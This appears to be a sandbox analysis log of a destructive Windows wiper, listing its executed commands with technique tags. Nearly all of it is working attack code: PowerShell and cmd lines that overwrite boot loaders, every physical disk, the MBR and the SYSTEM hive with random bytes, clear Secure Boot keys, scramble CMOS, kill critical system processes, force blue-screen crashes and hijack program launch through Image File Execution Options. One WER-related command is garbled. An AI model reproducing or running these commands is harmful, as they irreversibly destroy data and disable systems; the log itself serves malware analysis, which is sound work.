C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\winload.efi" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\winresume.exe" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\winresume.efi" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\winload.exe" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\winload.efi" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\winresume.exe" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\winresume.efi" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$files=@('C:\Windows\System32\winload.exe','C:\Windows\System32\winload.efi','C:\Windows\System32\winresume.exe','C:\Windows\System32\winresume.efi'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$ns='8be4df61-93ca-11d2-aa0d-00e098032b8c'; @('PK','KEK','db','dbx') | ForEach-Object { Set-UEFIVariable -Name $_ -Namespace $ns -Bytes ([byte[]]::new(1)) -ErrorAction SilentlyContinue }; @('SetupMode','AuditMode','DeployedMode') | ForEach-Object { Set-UEFIVariable -Name $_ -Namespace $ns -Bytes ([byte[]](1)) -ErrorAction SilentlyContinue }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ $sz=(Get-Disk -Number $d).Size; $p='\\.\PhysicalDrive'+$d; $f=[System.IO.File]::OpenWrite($p); $b=[byte[]]::new(1048576); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $f.Seek($sz-2097152,[System.IO.SeekOrigin]::Begin); for($i=0;$i -lt 32;$i++){ $f.Write($b,0,$b.Length) }; $f.Seek(0,[System.IO.SeekOrigin]::Begin); for($i=0;$i -lt 512;$i++){ $f.Write($b,0,$b.Length) }; $f.Close() }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$s='[DllImport(\"inpout32.dll\")]static extern void Out32(short a,short d);'; try{ Add-Type -MemberDefinition $s -Name 'IO' -Namespace 'HW'; [HW.IO]::Out32(0xCF9,0x02); Start-Sleep -Milliseconds 100; [HW.IO]::Out32(0xCF9,0x0E); Start-Sleep -Milliseconds 50; [HW.IO]::Out32(0xCF9,0x06); Start-Sleep -Milliseconds 50; [HW.IO]::Out32(0xCF9,0x0A) } catch{}"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pnq3tncy\pnq3tncy.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9A52.tmp" "c:\Users\Admin\AppData\Local\Temp\pnq3tncy\CSC6A8A6391E884B43AB69F09A6E2F62E1.TMP"4⤵
-
-
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\TeeDriverW8x64.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\HECI.sys" /a2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\TeeDriverW8x64.sys" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\HECI.sys" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-PnpDevice -Class 'System' | Where-Object {$_.FriendlyName -like '*MEI*' -or $_.FriendlyName -like '*Management Engine*' -or $_.FriendlyName -like '*HECI*'} | Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$s='[DllImport(\"kernel32.dll\")]static extern IntPtr CreateFile(string n,uint a,uint m,IntPtr s,uint c,uint f,IntPtr t);[DllImport(\"kernel32.dll\")]static extern bool DeviceIoControl(IntPtr h,uint cc,IntPtr i,uint is,IntPtr o,uint os,ref uint b,IntPtr p);'; Add-Type -MemberDefinition $s -Name 'S' -Namespace 'P'; $scsiPassThrough=[byte[]]::new(56+6); [BitConverter]::GetBytes(56)|CopyTo($scsiPassThrough,0); $scsiPassThrough[4]=6; $scsiPassThrough[5]=1; $scsiPassThrough[6]=0; $scsiPassThrough[7]=0x20; [BitConverter]::GetBytes(64)|CopyTo($scsiPassThrough,8); $scsiPassThrough[12]=0; $scsiPassThrough[13]=0; $scsiPassThrough[14]=0; [BitConverter]::GetBytes(1)|CopyTo($scsiPassThrough,16); $scsiPassThrough[32]=6; $ob=[byte[]]::new(64); for($d=0;$d -lt 4;$d++){$p='\\.\PhysicalDrive'+$d; $h=[P.S]::CreateFile($p,0xC0000000,3,[IntPtr]::Zero,3,0x80,[IntPtr]::Zero); if($h -ne [IntPtr]::Zero){for($i=0;$i -lt 5000;$i++){$scsiPassThrough[56]=0x1B; $br=0; [P.S]::DeviceIoControl($h,0x4D004,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($scsiPassThrough,0),62,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($ob,0),64,[ref]$br,[IntPtr]::Zero); Start-Sleep -Milliseconds 1; $scsiPassThrough[56]=0x1C; [P.S]::DeviceIoControl($h,0x4D004,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($scsiPassThrough,0),62,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($ob,0),64,[ref]$br,[IntPtr]::Zero); Start-Sleep -Milliseconds 1}}}"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j504cn4n\j504cn4n.cmdline"3⤵
-
-
-
C:\Windows\system32\reg.exereg save HKLM\SYSTEM\SystemBackup.hiv /y2⤵
- OS Credential Dumping: Security Account Manager
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$f=[System.IO.File]::OpenWrite('C:\Windows\System32\config\SYSTEM'); $b=[byte[]]::new(1048576); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $f.Seek(0,[System.IO.SeekOrigin]::Begin); $f.Write($b,0,$b.Length); $f.Close()"2⤵
- Drops file in System32 directory
-
-
C:\Windows\system32\cmd.execmd /c "for /f "skip=3 tokens=2" %a in ('tasklist /fi "imagename eq *.exe" /nh 2^>nul') do taskkill /f /pid %a >nul 2>&1"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq *.exe" /nh 2>nul3⤵
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq *.exe" /nh4⤵
- Enumerates processes with tasklist
-
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" /v GlobalFlag /t REG_DWORD /d 0x00002000 /f2⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" /v Debugger /t REG_SZ /d "rundll32.exe kernel32.dll,Sleep 10000" /f2⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($j=0;$j -lt [Environment]::ProcessorCount;$j++){ Start-Job { while($true){ $a=0; for($k=0;$k -lt 1000000;$k++){ $a+=$k} } } }"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$s='[DllImport(\"inpout32.dll\")]static extern void Out32(short a,short d);[DllImport(\"inpout32.dll\")]static extern short Inp32(short a);'; try{ Add-Type -MemberDefinition $s -Name 'IO' -Namespace 'HW'; for($r=0;$r -lt 128;$r++){ [HW.IO]::Out32(0x70,$r); [HW.IO]::Out32(0x71,(Get-Random -Min 0 -Max 255)) }; [HW.IO]::Out32(0x70,0x2E); [HW.IO]::Out32(0x71,0xFF); [HW.IO]::Out32(0x70,0x2F); [HW.IO]::Out32(0x71,0xFF) } catch{}"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eld5x3fe\eld5x3fe.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA128.tmp" "c:\Users\Admin\AppData\Local\Temp\eld5x3fe\CSCE27C7C6899B947FCBFA52AEA9A3F9963.TMP"4⤵
-
-
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\Fonts" /r /d y2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\Fonts" /deny Everyone:(X)2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'K' -Namespace 'N'; $b=$false; [N.K]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); Start-Sleep -Milliseconds 100; [N.K]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qtobaeqq\qtobaeqq.cmdline"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ $f=[System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d); $b=[byte[]]::new(512); $b[510]=0x55; $b[511]=0xAA; $b[446]=0x80; $b[447]=0xFF; $b[448]=0xFF; $b[449]=0x83; $b[450]=0x07; $b[451]=0xFE; $b[452]=0xFF; $b[453]=0xFF; $b[454]=0x00; $b[455]=0x00; $b[456]=0x00; $b[457]=0x00; $b[458]=0x00; $b[459]=0x00; $b[460]=0x08; $b[461]=0x00; for($i=462;$i -lt 510;$i+=16){ [Array]::Copy($b,446,$b,$i,16) }; $b[462]=0x00; $f.Write($b,0,512); $f.Close() }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig = '[DllImport(\"ntdll.dll\")]public static extern uint NtSuspendProcess(IntPtr ProcessHandle);[DllImport(\"ntdll.dll\")]public static extern uint NtTerminateProcess(IntPtr ProcessHandle, uint ExitStatus);[DllImport(\"kernel32.dll\")]public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);'; Add-Type -MemberDefinition $sig -Name 'Native' -Namespace 'Kernel'; $targets = @('csrss','winlogon','lsass'); foreach($t in $targets){ $p = Get-Process -Name $t -ErrorAction SilentlyContinue; foreach($proc in $p){ $h = [Kernel.Native]::OpenProcess(0x1F0FFF, $false, $proc.Id); if($h -ne [IntPtr]::Zero){ [Kernel.Native]::NtSuspendProcess($h); Start-Sleep -Milliseconds 50; [Kernel.Native]::NtTerminateProcess($h, 0); } } }"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\od0n3o4b\od0n3o4b.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF41.tmp" "c:\Users\Admin\AppData\Local\Temp\od0n3o4b\CSC996C7F82C4FA42B8ADEDBC40121ED1CA.TMP"4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig = '[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);'; Add-Type -MemberDefinition $sig -Name 'Crash' -Namespace 'Debug'; $b=$false; [Debug.Crash]::RtlAdjustPrivilege(19, $true, $false, [ref]$b); [Debug.Crash]::NtRaiseHardError(0xDEADDEAD, 0, 0, [IntPtr]::Zero, 6, [ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint NtSetInformationProcess(IntPtr ProcessHandle, uint ProcessInformationClass, ref uint ProcessInformation, uint ProcessInformationLength);'; Add-Type -MemberDefinition $sig -Name 'Nt' -Namespace 'Api'; $p=[System.Diagnostics.Process]::GetCurrentProcess(); for($i=0;$i -lt 1000;$i++){ try{ $v=Get-Random -Min 0 -Max 65535; [Api.Nt]::NtSetInformationProcess($p.Handle, 29, [ref]$v, 4) } catch{} }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig = '[DllImport(\"kernel32.dll\")]public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);[DllImport(\"kernel32.dll\")]public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);'; Add-Type -MemberDefinition $sig -Name 'Proc' -Namespace 'Mem'; $p=Get-Process -Name lsass -ErrorAction SilentlyContinue; if($p){ $h=[Mem.Proc]::OpenProcess(0x1F0FFF, $false, $p.Id); if($h -ne [IntPtr]::Zero){ $b=[byte[]]::new(4096); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $written=0; [Mem.Proc]::WriteProcessMemory($h, $p.MainModule.BaseAddress, $b, [uint]$b.Length, [ref]$written) } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig = '[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);'; Add-Type -MemberDefinition $sig -Name 'Crash' -Namespace 'Debug'; $b=$false; [Debug.Crash]::RtlAdjustPrivilege(19, $true, $false, [ref]$b); Start-Sleep -Seconds 2; [Debug.Crash]::NtRaiseHardError(0xDEADDEAD, 0, 0, [IntPtr]::Zero, 6, [ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($i=0;$i -lt 10;$i++){ Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'powershell -Command \"$sig=''[DllImport(\\\"ntdll.dll\\\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\\\"ntdll.dll\\\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);''; Add-Type -MemberDefinition $sig -Name C -Namespace D; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); Start-Sleep -Seconds 1; [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)\"'" }2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);'; Add-Type -MemberDefinition $sig -Name 'X' -Namespace 'Y'; $b=$false; [Y.X]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [Y.X]::RtlAdjustPrivilege(8,$true,$false,[ref]$b); [Y.X]::RtlAdjustPrivilege(17,$true,$false,[ref]$b); [Y.X]::NtRaiseHardError(0x0000009C,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'X' -Namespace 'Y'; $b=$false; [Y.X]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [Y.X]::RtlAdjustPrivilege(8,$true,$false,[ref]$b); [Y.X]::RtlAdjustPrivilege(17,$true,$false,[ref]$b); [Y.X]::NtRaiseHardError(0xC000021A,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint NtSetInformationProcess(IntPtr ProcessHandle, uint ProcessInformationClass, ref uint ProcessInformation, uint ProcessInformationLength);'; Add-Type -MemberDefinition $sig -Name 'Nt' -Namespace 'Api'; $p=[System.Diagnostics.Process]::GetCurrentProcess(); for($i=0;$i -lt 1000;$i++){ try{ $v=Get-Random -Min 0 -Max 65535; [Api.Nt]::NtSetInformationProcess($p.Handle, 29, [ref]$v, 4) } catch{} }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xC000021A,0,0,[IntPtr]::Zero,6,[ref]0) >nul 2>&12⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows\WER\ReportQueue" /r /d y2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows\WER\ReportQueue" /grant "Admin:F" /t /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-ChildItem 'C:\ProgramData\Microsoft\Windows\WER\ReportQueue' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
